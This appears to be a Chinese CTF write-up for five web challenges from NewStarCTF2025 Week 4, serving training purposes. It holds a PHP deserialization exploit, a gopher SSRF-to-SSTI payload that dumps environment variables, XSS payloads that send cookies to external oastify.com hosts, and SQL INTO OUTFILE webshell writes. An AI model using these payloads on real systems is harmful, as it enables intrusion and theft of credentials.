NewStarCTF2025-Week4-Web

目录

1、小羊走迷宫

2、武功秘籍

3、ssti在哪里?

4、小E的留言板

5、Sqlupload


1、小羊走迷宫

简单 php 反序列化,构造 pop 链即可

主要就是对保护变量的访问吧,这里采用新增一个类的公有方法实现

Exp:

php 复制代码
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
    public function setWord1($newWord1)
    {
        $this->door = $newWord1;
    }
    public function setWord2($newWord2)
    {
        $this->chest = $newWord2;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path = 'flag.php';
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}
$e = new endPoint();
$t = new Treasure();
$t->setWord1($e);
$tt = new Treasure();
$tt->setWord2($t);
$s = new SaySomething();
$s->sth = $tt;
$p = new startPoint();
$p->direction = $s;
echo base64_encode(serialize($p));

然后是对非法参数名的绕过,php8之前遇到中括号会被转成下划线,但是只转一次,从而保留后面的非法参数名点

payload:

php 复制代码
?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19

2、武功秘籍

在页面随便点了下跳转到后台登录界面,存在弱口令:admin/admin

存在文件上传点

简单的文件类型绕过

找到木马路径

调用

3、ssti在哪里?

存在 ssrf

因为是 flask 服务,我们直接读源码

将 name 接受的东西给到了 template,感觉有 SSTI,结合题目意思那多半就是有了

用 gopher 协议打

先看了下根目录,未见 flag

当前目录也没有

读了下这个 internal_web.py,确实存在 SSTI 注入

Flag 在环境变量,payload:

php 复制代码
url=gopher://127.0.0.1:5000/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D

4、小E的留言板

随便注册一个账户进去就可以留言

过滤了尖括号,还有一些关键词可以双写绕过

php 复制代码
" oonnmouseover ="alert(1)
php 复制代码
" oonnmouseover ="alert(document.cookie)

"oonnmouseover="new Image().src='http://qf9t9vv2gq2vm2q9jostpeivwm2dq8ex.oastify.com/?a=' +encodeURICompoonnent(document.cookie)

可以接收到当前的 cookie,但是报告留言小 e 的不行,因为我们目前的 payload 需要手动触发(鼠标悬停)

换个写法

php 复制代码
"autofofocuscus oonnfofocuscus="new Image().src='http://y321x3ja4yq3aaeh7wg1dm63kuqlei27.oastify.com/?a='+encodeURICompoonnent(document.cookie)

报告留言即可

5、Sqlupload

问题在 getFileList.php,检查不严谨

我们可以控制 order 参数将 filename 写入到文件

通过抓包传一个文件名是一句话木马的东西上去

调用 getFileList.php,payload:

php 复制代码
?order=upload_time INTO OUTFILE '/var/www/html/1.php'

木马确实写进去了,但是无法读取 /flag

flag 需要 root 用户,但是 readFlag 其他用户也可以执行

运行程序将结果重定向即可

相关推荐
kishu_iOS&AI1 小时前
Conda 简要说明与常用指令
python·安全·conda
麦聪聊数据2 小时前
QuickAPI 在系统数据 API 化中的架构选型与集成
数据库·sql·低代码·微服务·架构
wal13145203 小时前
Dify发布V1.13.1版本,Hologres 向量数据库支持、HITL 邮件 Markdown 渲染及多项安全加固
数据库·安全·dify
陈天伟教授3 小时前
人工智能应用- 预测新冠病毒传染性:04. 中国:强力措施遏制疫情
前端·人工智能·安全·xss·csrf
jxkejiiii4 小时前
巧用手机原生功能,零成本给重要文档加密防护
安全·智能手机
Dola_Zou5 小时前
工业软件安全架构向模块化授权演进的解析
安全·自动化·安全架构·软件加密
山峰哥5 小时前
查询优化案例:从慢查询到闪电般的查询速度
数据库·sql·性能优化·编辑器·深度优先
杨云龙UP5 小时前
Oracle ASM磁盘组空间分配与冗余理解
linux·运维·数据库·sql·oracle
互成5 小时前
加密系统哪款最好用?2026年五款加密系统深度对比测评
运维·网络·安全
微学AI6 小时前
一款数据库SQL防火墙:可以拦截99.99%,可以阻止恶意SQL
数据库·sql